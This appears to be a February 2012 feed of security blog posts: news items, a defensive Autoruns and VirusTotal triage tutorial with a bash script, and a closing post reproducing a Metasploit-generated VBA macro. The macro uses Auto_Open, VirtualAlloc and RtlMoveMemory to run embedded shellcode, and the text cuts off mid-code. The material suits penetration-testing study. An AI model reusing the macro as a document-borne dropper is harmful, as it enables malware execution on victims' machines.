Security Bloggers Network

Best of the week – 5 febbraio 2012

Matteo Cavallini — Sun, 05 Feb 2012 08:11:00 +0000

Italy is frozen, in Rome the snow lays thick on the ground... but bad guys are relentless so, we need to stay informed.

Which are the best security news of the week? Here you can find my answer.

Hope you enjoy it!

@candolin2 FAQ about the VeriSign data breaches | Computerworld New Zealand computerworld.co.nz/news.nsf/secur… via @computerworldnz #verisign

@CiscoGGSG VeriSign hack: Reactions from the security community fb.me/1kSufkczk

@ProfWoodward New computer incident handling guidelines drafted for comment by NIST in the US: csrc.nist.gov/publications/d… See what you think.

@metalabasia Rare interview with Gulshan Rai, head of CERT-In livemint.com/2012/01/312300… via @livemint #india #malware

@CERTXMCO [Blog XMCO] La cybercriminalité made in France --> cert.xmco.fr/blog/index.php…

@cuoretoro US spy agencies look to cloud computing lnkd.in/vK22iS

Links for 2012-02-04 [del.icio.us]

Dr Anton Chuvakin Blog PERSONAL Blog — Sun, 05 Feb 2012 08:00:00 +0000

The Valley of Death Between IT and Security

Finding Evil: Automating Autoruns Analysis

davehull — Sun, 05 Feb 2012 04:45:00 +0000

You can buy appliances to put in your network in an effort to find evil on systems in your enterpise. I know a wicked smart individual who develops one such system and I strongly recommend you check them out, especially if you can afford them. The one I'm thinking of rhymes with "beer."

But let's say you didn't budget for one of these systems this year, there's still something you can cobble together using Autoruns, Psexec, Cygwin and VirusTotal. It may not be as effective or capable as the system that rhymes with "beer," but it's going to be useful. Let's get to it.

I've written about Autoruns before so if you're not familiar with it, check out the link above and this post about how attackers maintain persistence. Psexec is another Microsoft Sysinternals tool that you can use to execute commands on remote hosts. If you're an incident responder or system administrator, having the ability to "psexec" into remote systems is a must.

Cygwin is "a collection of tools which provide a Linux look and feel environment for Windows." If you follow the outstanding, Command Line Kung Fu Blog, you know well that what's relatively easy at the command line in Linux can be far more difficult to achieve using built in tools in Windows. Installing Cygwin will facilitate our little project here. Alternatively, if you have a Linux box, you can use it instead.

VirusTotal is an great service where you can upload binaries and have them scanned by 40+ antivirus tools to see if any of them recognize the binary as something malicious. Too many people don't know that in lieu of uploading a binary to VirusTotal, you can take an MD5, SHA1 or SHA256 hash of a binary and search for that value on the site. VirusTotal will return a report showing how many antivirus scanners recognize a file with that same hash as a malicious file. See the footnote at the end of this article for a reason why you may not want to immediately upload suspicious binaries to VirusTotal for analysis.

Conveniently, Autoruns can be configured to generate MD5, SHA1 and SHA256 hashes. Combine that chocolate, with the flavor that is VirusTotal and you've got yourself a nice bit of kit for finding evil. Where do Psexec and Cygwin fit into this? With Psexec and a for loop, we can collect Autoruns data from many hosts in a few minutes. Mind the wraps.

for /L %i in (1, 1, 254) do @psexec -s -n 4 -d \\n.n.n.%i cmd /c "net use o: 
\\server\share PASSWORD /user:doman\username && 
\\live.sysinternals.com\tools\autorunsc -a -v -f -c '*' > 
o:n.n.n%i.csv && net use o: /delete"

Let's break this down. First the for loop is going to count from 1 to 254 and assign that value to the variable %i. Within the loop we run psexec with -s -n 4 and -d options, these will run commands on the remote system as SYSTEM, timeout after 4 seconds if it can't connect and lastly, -d runs the commands non-interactively, think of it as -d for "dropping" the command on the system and moving on.

Next is the IP address of the remote host -- \\n.n.n.%i. You can run this loop inside another loop to cover more than one octet at a time (i.e. \\n.n.%j.%i and so on). Next comes the command we want to run on the remote host, in this case it is a compound command (i.e. a command shell followed by another command (i.e. cmd /c...)). In this case, the compound command that follows first maps a drive to some share somewhere in your environment, this may require that you supply credentials, depending on how your environment is configured.

Having mapped the drive, we call Autorunsc (note the trailing c there indicates the command line version). The flags and arguments provided here, -a -v -f -c '*', have the following effects respectively: collect all Autoruns, verify certificates for signed code, create file hashes, write the output as comma separated values and lastly gather Autoruns data for all profiles on the system. We redirect the output to the drive that we mapped, naming the file for the IP address of the system that it came from and lastly, we delete the drive mapping.

Depending on how you do this, you'll have a single system's Autoruns data or the data from many systems. Now we want to analyze all of this data to see if we can find any malicious binaries in the mix. Since we told Autorunsc to verify signed code, we can make a possibly horrible decision and direct our attention to only the unsigned code. The assumption here is that only legit code will be signed and that malicious code will be unsigned. There have been examples of malicious code that was signed and I suspect the future will bring more and more of the same. But for demonstration purposes, I'm only going to analyze unsigned code.

If you have a single Autoruns output file, rename it to aruns.csv and drop it into the same directory as the following script, which you can download from my git repo. You'll need Cygwin or a system with bash, grep, awk and wget for this:

#!/bin/bash
# A working proof of concept, lacking many features

# Gather all hashes for unsigned code from autoruns csv output file named aruns.csv
grep -i "(Not Verified)" aruns.csv | awk -F, '{print $(NF-2)}' | sort | uniq > aruns_hashes

# Reduce the data set to hashes that aren't in our good list
if [ -e hashes_cleared ]; then
    grep -vif hashes_cleared aruns_hashes > hashes2check
else
    mv aruns_hashes hashes2check
fi

# Should create a list of bad hashes and check against it too
if [ -e hashes_evil ]; then
    grep -if hashes_evil hashes2check > aruns_malware_hashes
fi

# Remove malware hashes from hashes2check
if [ -e aruns_malware_hashes ]; then
    grep -vif aruns_malware_hashes hashes2check > vtsubmissions
else
    mv hashes2check vtsubmissions
fi

# Search VirusTotal for reports on remaining hashes
echo "[+] $(wc -l vtsubmissions) hashes to check with Virus Total"
sleep 2
for i in $(cat vtsubmissions); do wget --header= -O $i.html --no-check-certificate \
https://www.virustotal.com/latest-scan/$i; sleep 15; done

# Check results for malware
grep -l "[1-9][0-9]* / " *.html | awk -F. '{print $1}' | tee -a aruns_malware_hashes \
>> hashes_evil

# Pull out malware entries from aruns.csv
grep -if aruns_malware_hashes aruns.csv > aruns_malware

# Check results for non-malicious files
grep -l "0 / " *.html | awk -F. '{print $1}' >> hashes_cleared

# Check for results tnat are unknown to VT
grep -li "not found" *.html | awk -F. '{print $1}' >> unknowns

# Pull unkown entries from aruns.csv
grep -if unknowns aruns.csv > aruns_unknown

# Report results
let j=$(wc -l aruns_malware)
echo "[+] VirusTotal shows $j Autoruns entries may be malicious."
echo "[+] Check the aruns_malware file for details."
let j=$(wc -l aruns_unknown)
echo "[+] VirusTotal has never seen $j Autoruns entries."
echo "[+] Check the aruns_unknown file for details."
echo

If you have a bunch of Autoruns output from multiple hosts, you can combine them with a little command line foo as follows:

cat n.n.n.* | sort | uniq > aruns.csv

You'll need to edit this aruns.csv file and remove the header line created by Autorunsc, search for MD5 to find the header line. Now place that file in the same directory as the script above and you'll be all set.

What does the script above do? It pulls out all of the MD5 hashes for unsigned Autoruns, compares them against a list of known good hashes from previous runs, if this is your first run through with the script, the file won't exist and this will be skipped. Next it compares those hashes against hashes of known malicious files, again, if this is your first run, there will be nothing to compare against and this step will be skipped. Known malicious hashes will removed from the list and saved for later notification. Whatever hashes are left will be submitted to VirusTotal as search strings at the public API rate of four hashes per minute, the results from VirusTotal will be written to files named for the hashes with .html extensions added.

Once all the hashes have been submitted to VirusTotal, the script will search through all the results looking for any that were reported as malicious by the antivirus products. Those hashes will be written to the same file as any that had previously been marked as malicious.

Then the script looks through the html files for results where none of the antivirus products found the hash to match a malicious file, these hashes are saved into the hashes_cleared file and they will not be submitted to VirusTotal on future runs.

The script then searches through the results from VirusTotal for any reports that indicate no file with the provided hash has been submitted for analysis. These hashes are marked as unknowns and may warrant further analysis, possibly even submitting the files to VirusTotal (see the footnote below).

Finally, the script reports to the user how many of the hashes were reported to match malicious files and how many were unknown. It pulls these Autoruns entries from the aruns.csv file so you can have the reduced data set for analysis.

Below are some screen shots of the script, which I'm calling "lamelyzer.sh," pronounced lame-ah-lyzer:

Figure 1: lamelyzer's first run as evidenced by the lack of data files.

Figure 2: lamelyzer reports there are 114 hashes to submit to VirusTotal and begins making requests

Figure 3: Directory listing while lamelyzer is in progress. Each html file is a VirusTotal report.

Figure 4: lamelyzer has finished and is showing results.

Figure 5: Post execution directory listing of non-html files.

Figure 5 shows a directory listing after the lamelyzer script has finished. When we started there were two files, the script itself and the aruns.csv file. Now we have several new files, aruns_malware will contain the Autoruns entries that some antivirus product recognized as malicious; aruns_malware_hashes contains the hashes for those files; aruns_unknown contains those Autoruns entries that had MD5 hashes that didn't match any files that VirusTotal had seen before, these may warrant further investigation; hashes_cleared contains a list of hashes that have been scanned by antivirus products at VirusTotal and the results came back clean, in future runs, hashes matching entries in this file will not be submitted to VirusTotal; hashes_evil contains the hashes for files that VirusTotal said were malicious, in future runs hashes matching entries in this file will not be submitted to VirusTotal, they will however be reported to the user; unknowns contains the hashes for files VirusTotal hasn't seen before; and vtsubmissions contains the list of hashes that were submitted to VirusTotal.

On subsequent runs hashes will be appended to hashes_cleared and hashes_evil as appropriate. All the other data files will be overwritten. If you want to see what VirusTotal says about a particular file, open the corresponding html file in a web browser. When you're finished reviewing the results, delete the html files. The next time you need to analyze Autoruns output, copy it into the directory as aruns.csv and run lamelyzer again. Known good and bad files will be filtered out and reported accordingly, all others will be submitted to VirusTotal with results reported accordingly.

Figure 6: A subsequent run of lamelyzer with an aruns.csv with 838 entries, only 77 will be submitted to VirusTotal.

In Figure 6, I've collected another set of Autoruns data from multiple systems, 838 entries in total, but due to the existence of the hashes_evil and hashes_cleared files, only 77 of the 838 entries will have their hashes submitted to VirusTotal.

If you compile many sets of Autoruns data into one aruns.csv file, as I have, you can map a particular entry back to the host(s) that it came from by grepping through the original csv files for the hashes in question. Recall near the beginning of this post, the for loop that wrote Autoruns data to files named for the IP addresses of the hosts they came from, simply grep through those files for the hash in question.

I have to admit that lamelyzer was given its name because it was a hastily assembled proof of concept for a more robust tool I've been working on, but some folks that I'd talked to about it wanted more information on what I was planning to do. Rather than put together slides or whiteboard it, I spent a few minutes putting this script together. It works well enough, that I think many could put it to good use. I will still work on a more robust tool with more options, but wanted to get this out.

If you have any questions or comments, please don't hesitate to let me know.

* There are reasons why you should not immediately upload a potentially malicious file to VirusTotal. If I'm an attacker and I'm targeting your organization, I may create custom malware or repackage some existing malware in such a way that it has a unique set of MD5, SHA1 and SHA256 hashes. Once I've dropped my kit in your network, I can monitor VirusTotal by searching for my hashes. If VirusTotal comes back with a report for any one of those hashes, then I know someone has submitted the binary to VirusTotal (or there's a collision with another file) and therefore, I know that your organization has found my kit and that it's time for me to switch things up.

DNS Changer infrastructure shutdown is a good thing

Chester Wisniewski — Sun, 05 Feb 2012 00:05:16 +0000

The FBI may shutdown the DNS servers victims of the DNS Changer malware have been using on March 8th. Is this a dangerous action, or is five months to clean up your PC enough?

Sonicwall netExtender on ubuntu x64 missing libssl or libcrypto

Webantix — Sat, 04 Feb 2012 22:21:30 +0000

Wow, over a year since my last post. Work has been crazy and personal life is even worse. If any of you are wondering where i have been hiding head over to upSploit. Well I have just rebuilt my laptop to Xubuntu 11.10 as I could not stand the Unity on Ubuntu and decided to [...]

Clarifying The Trustwave CA Policy Update

Nicholas J. Percoco — Sat, 04 Feb 2012 21:12:07 +0000

We've seen a number of comments and questions on Twitter regarding a recent Trustwave CA Policy Update to our legal repository (https://ssl.trustwave.com/CA). This update discusses a subordinate root revocation. This is a proactive revocation, of the only certificate we issued for these purposes, that is the result of careful consideration in light of recent policy changes and the changing PKI landscape.

This single certificate was issued for an internal corporate network customer and not to a 'government', 'ISP' or to 'law enforcement'. It was to be used within a private network within a data loss prevention (DLP) system. The subordinate certificate was subject to a Certification Practice Statement (CPS), Subscriber Agreement and Relying Party Agreement crafted by Trustwave after an audit of the customer physical security, network security, and security policies.

The system was created using dedicated hardware device designed for SSL proxy and acceleration, with a FIPS-140-2 Level 3 compliant Hardware Security Module (HSM) (http://en.wikipedia.org/wiki/Hardware_security_module) for subordinate root storage and for the purpose of private key generation of the re-signed SSL certificates. This means that once the trusted subordinate root was placed into the device it could not be extracted.

Additionally, when the system would accept an outbound SSL connection from within the customer network, and negotiate the session with the server outside the customers network, the private key for the resulting re-signed SSL certificate (that is presented to the internal network) would be generated in the HSM and only live for the duration of the SSL request. No party had access to the re-signed SSL certificate private keys at any time, nor could they gain access to them. This is what prevented the customer from being able to perform ad hoc issuance of certificate for any domain and use them outside of this hardware and infrastructure.

Trustwave has decided to be open about this decision as well as stating that we will no longer enable systems of this type and are effectively ending this short journey into this type of offering.

We take information security very seriously as a trusted CA and we felt that a few clarifications were in order to help everyone understand our actions.

Blending in with the furniture – responsibility vs capability in the CISO role

Wh1t3Rabbit — Sat, 04 Feb 2012 21:04:20 +0000

I just finished editing a podcast (Episode 10 for release Monday February 6th) where I got to sit down with Gene Kim, the guy who wrote the Visible Ops book - a staple of every good IT manger's bookshelf. I can't help but write a little bit about one of the topics which just resonated with me based on some of my job history. The idea of "blending in with the furniture" is one that I know many IT managers follow in organizations and situations where they feel they simply cannot succeed. Let's break this down because I know many of you are feeling this pain.

Publish and/or perish

p1 — Sat, 04 Feb 2012 20:42:05 +0000

A new study notes that “scholarly” academic journals are forcing the people who want to publish in them (the journals) to add useless citations to the published articles. OK, this may sound like more academic infighting. (Q: Why are academic fights so bitter? A: Because the stakes are so small.) But it actually has some fairly important implications. These journals are, in many eyes, the elite of the publishing world. These articles are peer-reviewed, which means they are tested by other experts before they are even published. Therefore, many assume that if you see it in one of these journals, it’s so.

(The system isn’t pefect. Ralph Merkle couldn’t get his paper on asymmetric encryption published because a reviewer felt it “wasn’t interesting.” The greatest advance in crypto in 4,000 years and it wasn’t interesting?)

These are, of course, the same journals that are lobbying to have their monopoly business protected by the “Research Works Act,” among other things. (The “Resarch Works Act” is a whole different kettle of anti-[open access|public domain|open source] intellectual property irrationality.)

I was, initially, a bit surprised by the study on forced citations. After all, these are, supposedly, the guardians of truth. Yes, OK, that’s naive. I’ve published in magazines myself. Not the refereed journals, perhaps: I’m not important enough for that. But I’ve been asked for articles by many periodicals. They’ve had all kinds of demands. The one that I find most consistently annoying is that I provide graphics and images. I’m a resarcher, not a designer: I don’t do graphics. But, I recall one time that I was asked to do an article on a subject dear to my heart. Because I felt strongly about it, I put a lot of work into it. I was even willing to give them some graphics. And, in the end, they rejected it.

Not enough quotes from vendors.

This is, of course, the same motivation as the forced citations. In any periodical, you make money by selling advertising. In trade rags, the ease of selling advertsing to vendors is determined by how much space you’ve given them in the supposed editorial content. In the academic journals, the advertising rates are determined by the number of citations to articles you’ve previously published. Hence, in both cases, the companies with the advertising budgets get to determine what actually gets published.

(As long as we’ve here, I have one more story, somewhat loosely related to publishing, citation, open access, and intellectual property. On another occasion, I was asked to do a major article cluster on the history of computer viruses. This topic is very dear to my heart, and I put in lots of time, lots of work, and even lots of graphics. This group of articles got turned down as well. The reason given in that case was that they had used a Web-based plagiarism detector on the stuff, and found that it was probably based on materials already on the net. Well, of course it was. I wrote most of the stuff on that topic that is already on the Web …)

Let the experts make sure your website is safe. Vulnerability Assessment is the answer.

SSL for less than 7 Euros?! Yup…

Miguel Almeida — Sat, 04 Feb 2012 17:58:34 +0000

As part of the activities that I've been developing for AP²SI I've just found this. And I could not resist sharing.

Yes, it's true that the cost of digital certificates is not, typically, very small. And this is one of the factors that have conditioned the widespread adoption of SSL on web servers, even though this mechanism would allow the authentication of those services, and would ensure the privacy of customer communications.

(The cost is not the only factor limiting the adoption of SSL, but it's surely a major factor, along with the performance.)

If you want to build more confidence in your Internet websites, or even in your intranet sites, Comodo has an offer with an unbeatable price, an offer that doesn't add the same degree of confidence of an EVS certificate, but that may be sufficient to meet your requirements.

Interested? Ok: PositiveSSL, through Namecheap, for less than €7.00 per year: namecheap.com/...

Medeco Nexgen XT

About.com Business Security — Sat, 04 Feb 2012 17:56:57 +0000

Mechanical locks tell no tales.

While a well thought out key control system is essential to your physical security plan, those mechanical deadbolts and door locks will never tell you who ...

Read Full Post

Groundhogtistics

Marc Handelman — Sat, 04 Feb 2012 16:30:05 +0000

via the genius of FakeScience at fakescience.tumblr.com

Federal Information Systems Security Educators’ Association Conference Slated

Marc Handelman — Sat, 04 Feb 2012 16:00:34 +0000

Slated for March 27-29, 2012, the National Institute of Standards and Technologies [NIST] has entitled the new FISSEA conference “A New Era in Cybersecurity Awareness, Training, and Education”. Venue is the NIST complex in Gaithersburg, Maryland. I highly recommend attending the conference (and memebrship as well) for information systems security professionals working in the United States Federal Government environs, managers responsible for information systems security training programs within federal agencies, and faculty members of accredited educational institutions who are involved in information security training and education.

ATM skimmer installed in under 10 seconds

Matthew Pascucci — Sat, 04 Feb 2012 15:17:00 +0000

This is an old video, but its still relevant today. With over $1 billion dollars skimmed every year in the US alone, this issue is only going to grow with time. We're starting to see skimmers installed in other card realms like PoS and gas pumps, and this is only going to get worse as time goes by. How are we going to stop this? Out-of-band is still slightly incovient for everyday use.

RT @teamcymru: Great progress in cooperation: European ‘cyber security’ Agenc…

Security Circus — Sat, 04 Feb 2012 12:19:21 +0000

RT @teamcymru: Great progress in cooperation: European ‘cyber security’ Agency ENISA meeting with EuroPol in Crete http://t.co/YHXiXOzN

RT @IEEE_SP2012: Spread the word about @IEEE_SP2012 – post this flyer (pdf) a…

Security Circus — Sat, 04 Feb 2012 12:18:12 +0000

RT @IEEE_SP2012: Spread the word about @IEEE_SP2012 - post this flyer (pdf) and hand out at other security events: http://t.co/ofwfvizy

Towards the Big Information Society or "Power to the people"

Philip Virgo — Sat, 04 Feb 2012 09:41:43 +0000

Current government policy is that which the coalition partners can agree with the tribes of Whitehall, as well as each other. Oliver Letwin has asked the Conservative Policy Forum (CPF) to start looking at Conservative policy for the next election. Few of you will have heard of the Conservative Policy Forum. I attended their first "winter school" last weekend not knowing what to expect.

What I experienced changed my way of thinking about policy formation in the modern world. The event evolved from an awkward discussion on the nature of conservatism through a great workshop on what is meant by "the big society" to a rollicking debate on the nature of democracy in the modern world. The underlying theme was how to reconnect political discussion with the priorities of the majority of voters, as opposed to the introverted obsessions of the Westminster village and the blogocracy and twitterati in their cyberghettoes.

The majority of the electorate is now on-line but the backlash to political spam is gathering pace. We need a candid look at how technology is used to help progress political debate, avoiding the "dictatorship of the sysadmins" (as with automated on-line consultation systems) and neither cocooning elected representatives nor exposing them to such e-overload that they have no time to sleep - let alone think. Putting the "party", (food, drink and physical networking) back into the Party, alongside "pseudo-social" electronic networking is a larger part of the answer than the cybernerds would have us believe.

The Winter School debate on the nature of the Big Society revealed a surprising degree of agreement alongside great difficulty in agreeing meaningful soundbites. There were various comments about the "culture of volunteering", "the we society not the me society" and "social investment" but, for me "the de-nationalisation of compassion" encapsulated both what was meant and the scale and nature of the challenge. For nearly a century political debate has focussed on ways of using OPM (other people's money) to pay professionals to look after us when we are ill or in need. The Labour government not only spent the surpluses being created when it came to office, it mortgaged the future and left central government financially and morally bankrupt and discredited. We have now no choice but to continue the process of denationalisation.

The challenge to the IT industry is profound. It has to switch from helping administer and police top-down steam-age. (they date from the 1918 Haldane Report), centralised, standardised, silo-based, national services. It has to work out how to help support and encourage a kaleidoscope of bottom up, Internet age, locally organised initiatives to meet community needs. The win-win solution that O2 is about to supply to Westminster and Kensington councils indicates that the Cabinet Office strategy of moving towards ubiquitous fixed and mobile broadband access to cloud-based government data services is more than just an elegant conceptual solution. But how many other suppliers see the opportunity to leapfrog into a new, more profitable and sustainable world? How many are more concerned to defend their current contracts and past business models?

At the heart of the big information society is the challenge of listening to what users and customers want and allowing services to evolve as those wants are informed by experience. This does not come easily to IT experts who despise customers, let alone ignorant end-users who do not do as they are expected. Most self-styled IT "professionals" are much more comfortable in a world where politicians have "visions", listen to Think Tank gurus and then commission consultants to specify major change programmes for which they can submit safe blame-avoidance bids.

That leads me to the final debate at the CPF Winter School. This was on the nature of democracy. Do voters really want to have to decide on local priorities in, for example, on-line referendums? Would they not would prefer to leave it to their elected representatives so that they can grumble when they get it wrong? I had forgotten the supposed Voltaire quote on the best form of Government: "Benevolent dictatorship, tempered by the occasional assassination". We live within a semi-elected dictatorship. A surprising amount of even council spend is agreed by lobbying groups in Brussels, gold plated by Civil Servants, rubber stamped by Ministers and passed on the nod by the Westminster Parliament. An example is the waste directives. But earlier in the conference we had been told that obsession with "Europe" is an electoral turn-off. Barely 4% think it a top issue. "Its the economy stupid", followed by unemployment, race and immigration and law and order.

The "answer" to the "democratic deficit" had meanwhile been addressed in the discussions on how the Conservative Policy Forum should operate. Nearly half of constituencies now have branches and some are already as strong as the best of the old CPC branches. The big difference is that instead of discussing briefs on the issue of the day they are have been asked to work on ideas and material for the 2015 manifesto. More-over they will be encouraged to bring in outside experts and non-members to ensure that their recommendations are likely to command support from the majority of the electorate. I will therefore be asking the members of the Conservative Technology Forum to help inform debate at the constituency and regional level on how technology can and should be used to support local needs - not used as an excuse for imposing central diktats. I will also be asking them to help trial tools for on-line debate and how to use these to ensure discussions reflect the views of the mass of participants, not just those with the time to drown out those who disagree with them.

As regular readers will know, my motto is "The silent majority gets what is deserves, ignored." If you want to participate, find your local the Conservative Policy Forum group or join the Conservative Technology Forum (sooner or later we will get round top updating the website meanwhile the on-line activity is via Linked In). Be active in your local constituency party as well. If you are not a Conservative, join the party of your choice and take part in their routines for policy formation.

If you fail to do so, you will have helped preserve a world where policy ideas emerge from Think Tanks, are refined in negotiation between the wonks of Brussels and Westminster and the lobbyists of big business, to be implemented by civil servants looking forward to second careers as regulators or as consultants with those who employ the lobbyists.

AVAST reaches 150 million active users

Milos Korenko — Sat, 04 Feb 2012 08:18:03 +0000

If you are planning to visit Europe these days or actually live here… get ready for some very cold weather and temperatures much lower than normal. -37 degrees Celsius is not a temperature to be enjoyed and we have it here in Czech Republic. Well not everywhere – just in the mountains – but even the -20 we are likely to have tomorrow in Prague is calling for some extra defensive measures: Stay at home. Keep warm. Sip mulled wine. Read a good book. Watch the TV - or - get on the internet to chat, browse, and socialize.

Of course, from a more global point of view… you could argue that -20 degrees is actually a pretty nice summer temperature, especially in Antarctica. They have “summer” there right now. And that brings me nicely to the ‘active users’ count. To make sure we have decent understanding how many users have our product installed, we measure how many are getting an update of the virus definitions database. And, with each update, we can locate the user to a particular country or region based on the GEO IP. It is heartwarming to see that every “Antarctic summer” we have a handful of avast! users updating their virus definitions from Antarctica. So whoever is down there: Enjoy the summer, mulled wine, good book and internet browsing. Or what else you do getting through those temperatures. And please send me a note on how well avast! antivirus is handling in the local weather

VIDEO: here is a recent map of the global avast! presence. Pretty good coverage.

Kevin Mitnick & Dave Kennedy – Adaptive Penetration Testing Derbycon 2011

SecurityOrb Staff — Sat, 04 Feb 2012 04:25:40 +0000

Penetration Testing is something that has many different meaning depending on the context used by the person. The Penetration Testing Execution Standard (PTES) is aimed to change that. In this talk we’ll be covering adaptive penetration testing which essentially is the ability to conform and change based on the environment that your attacking. We’ll be covering several live examples used in real-world penetration tests, how we discovered some clever tricks to circumvent security controls, and eventually be creative and gain unauthorized access.

InfoSec Daily Podcast Episode 585

InfoSec Daily Podcast — Sat, 04 Feb 2012 01:57:19 +0000

Episode 586 - Weekend Wrap-up with Dr. b0n3z

InfoSec Daily Podcast Episode 585

InfoSec Daily Podcast — Sat, 04 Feb 2012 01:57:19 +0000

Episode 585 - Eyes Open, Bouncer, PHP, NATO Deficiencies, Fakebook Accounts & What’s New?

Security for a Greater Good

Michael Coates — Sat, 04 Feb 2012 01:26:00 +0000

I'm very excited to be helping Ushahidi build a security group to enhance the security of their software. Ushahidi describes itself as the following:

We are a non-profit tech company that develops free and open source software for information collection, visualization and interactive mapping.

However, this organization is far more than just a tool for information mapping. If you talk with anyone involved, or just read their about page, you'll quickly find out that this organization is developing tools that can be used to bridge the gap between technology and human crisis reporting.

Working with Ushahidi is a rare opportunity to use our technology and security skills to protect the well-being of individuals that are attempting to report oppression or violence against their fellow citizens.

If you're part of the Mozilla or OWASP community then keep an ear out. As we formalize our approach we'll be reaching out to these technology and security communities looking other volunteers that are interested in contributing their security skills to this project.

-Michael Coates - @_mwc

Encrypted? Check. Strong passphrase? Check. Mailing them together? Oops.

Chester Wisniewski — Sat, 04 Feb 2012 00:30:27 +0000

Encryption only helps secure your data when the keys are a secret, a lesson learned the hard way by Ernst and Young and Regions Financial.

Koterba: Personal Library

Marc Handelman — Sat, 04 Feb 2012 00:30:05 +0000

via the genius of Jeffery Koterba originally at LaughingSquid.com

Beacon Podcast – Episode 015

Patrick — Sat, 04 Feb 2012 00:15:34 +0000

Hurricane Labs Beacon Podcast
Episode Number: .015 – Super Bowl Edition
Hosts: Bill Mathews (@billford), Matt Yonchak (@mattyonchak), Steve McMaster (@iamthemcmaster), Patrick Sayler (@psayler)

Facebook Readies IPO Filing
- A LOT of people use Facebook
- A LOT of money

Lion 10.7.3
- Matt Hasn’t upgraded
- Bill and Patrick have had zero problems

Basic FreeNAS Setup
- We use it, it’s nice
- Matt is looking for his own personal setup
- Western Digital TV perhaps?
- Matt might be buying a PS3 or Xbox 360

FBI plans social network map alert mash-up application
- Why?
- There are plenty of existing services, why build something new?

New RIM CEO
- Won’t help
- No vision

Hurricane Labs Boastcast
Modern Search Engines for the Contemporary User
Gaining Access to a Check Point Appliance – Physical Access Trumps All

Hack of the Week
Anonymous hackers leak Scotland Yard-FBI conference call

App of the Week
Lookout Mobile Security Threat Tracker

Dead BotNet Spams From Other Side

Marc Handelman — Sat, 04 Feb 2012 00:00:35 +0000

Meanwhile, in BotNet news, we learn of the apparent rising from the ashes of the proverbial bitwise pyre by Kelihos, and it’s nefarious blunderings out and about; regardless of the declared morte of this pesky bit of code, it is evidently the new gift that just keeps on giving… Oops.

Death to PDF!

Jrose — Fri, 03 Feb 2012 22:44:24 +0000

SpiderLabs customers are frustrated with PDF reports:

You can’t search them
You can’t sort them
You can’t assign pieces of them
You can’t trend them

PenTest Manager, the reporting tool used by Trustwave SpiderLabs to manage, track and report results of penetration tests, was designed specifically to solve these issues. We realized that the way most consulting company’s delivery reports just doesn’t work.

This week, we pushed out a new set of reporting updates for Trustwave PenTest Manager which is now available for all customers. Why? Reporting enhancements are one of the most requested features we get from customers.

The major updates are:

Customized Methodologies - Within SpiderLabs, we understand that a standard, canned approach to risk assessments does not always work. Business risks differ across organizations; technologies change and evolve, and therefore require different tools, different techniques, and a fresh approach. We have enhanced our online reporting to now support customized test methodologies, so get your ATMs, SCADA systems, and arduino home automation systems ready for SpiderLabs deep technical security reviews.
Tag and Report on Specific Findings– Now you can add a personalized tag to a finding in the form of a keyword or term, and then generate reports based on your tagged findings. Group and report security findings by business unit, engineering group, geographical region, or any other way you want to slice the data. This tagging and filtering works at both a test level and a finding level to provide complete control to generate customized reports.
Overall CVSS Scoring – Since PenTest Manager is the only online reporting tool for consultant-led penetration testing, we are in a unique position to not only provide Base CVSS scores, but also provide temporal and environmental vulnerability information that accurately reflects the risk to a business through our hands–on testing approach. Automated tools have no way to understand and report the Overall CVSS score given the complexities of diverse technical environments and lifecycle of exploits…but we do!
Performance Enhancements – Nobody wants to wait for data to load or reports to generate, so we took significant steps to speed up the responsiveness of PenTest Manager by refactoring key areas for performance.

Stay tuned for more enhancements in the near future. For additional info on PenTest Manager, check out the website and videos: https://www.trustwave.com/pentest-manager.php

Direct Shellcode Execution via MS Office Macros with Metasploit

cg — Fri, 03 Feb 2012 22:21:00 +0000

scriptjunkie recently had a post on Direct shellcode execution in MS Office macros I didnt see it go into the metasploit trunk, but its there. How to generate macro code is in the post but i'll repost it here so i dont have to go looking for it elsewhere later. He even has a sample to start with so you can see how it works. Just enable the Developer tab, then hit up the Visual Basic button to change code around.

msf > use payload/windows/exec
msf  payload(exec) > set CMD calc
CMD => calc
msf  payload(exec) > set EXITFUNC thread
EXITFUNC => thread
msf  payload(exec) > generate -t vba
#If Vba7 Then
Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Zopqv As Long, ByVal Xhxi As Long, ByVal Mqnynfb As LongPtr, Tfe As Long, ByVal Zukax As Long, Rlere As Long) As LongPtr
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Xwl As Long, ByVal Sstjltuas As Long, ByVal Bnyltjw As Long, ByVal Rso As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Dkhnszol As LongPtr, ByRef Wwgtgy As Any, ByVal Hrkmuos As Long) As LongPtr
#Else
Private Declare Function CreateThread Lib "kernel32" (ByVal Zopqv As Long, ByVal Xhxi As Long, ByVal Mqnynfb As Long, Tfe As Long, ByVal Zukax As Long, Rlere As Long) As Long
Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Xwl As Long, ByVal Sstjltuas As Long, ByVal Bnyltjw As Long, ByVal Rso As Long) As Long
Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Dkhnszol As Long, ByRef Wwgtgy As Any, ByVal Hrkmuos As Long) As Long
#EndIf

Sub Auto_Open()
        Dim Wyzayxya As Long, Hyeyhafxp As Variant, Lezhtplzi As Long, Zolde As Long
#If Vba7 Then
        Dim  Xlbufvetp As LongPtr
#Else
        Dim  Xlbufvetp As Long
#EndIf
        Hyeyhafxp = Array(232,137,0,0,0,96,137,229,49,210,100,139,82,48,139,82,12,139,82,20, _
139,114,40,15,183,74,38,49,255,49,192,172,60,97,124,2,44,32,193,207, _
13,1,199,226,240,82,87,139,82,16,139,66,60,1,208,139,64,120,133,192, _
116,74,1,208,80,139,72,24,139,88,32,1,211,227,60,73,139,52,139,1, _
214,49,255,49,192,172,193,207,13,1,199,56,224,117,244,3,125,248,59,125, _
36,117,226,88,139,88,36,1,211,102,139,12,75,139,88,28,1,211,139,4, _
139,1,208,137,68,36,36,91,91,97,89,90,81,255,224,88,95,90,139,18, _
235,134,93,106,1,141,133,185,0,0,0,80,104,49,139,111,135,255,213,187, _
224,29,42,10,104,166,149,189,157,255,213,60,6,124,10,128,251,224,117,5, _
187,71,19,114,111,106,0,83,255,213,99,97,108,99,0)
        Xlbufvetp = VirtualAlloc(0, UBound(Hyeyhafxp), &H1000, &H40)
        For Zolde = LBound(Hyeyhafxp) To UBound(Hyeyhafxp)
                Wyzayxya = Hyeyhafxp(Zolde)
                Lezhtplzi = RtlMoveMemory(Xlbufvetp + Zolde, Wyzayxya, 1)
        Next Zolde
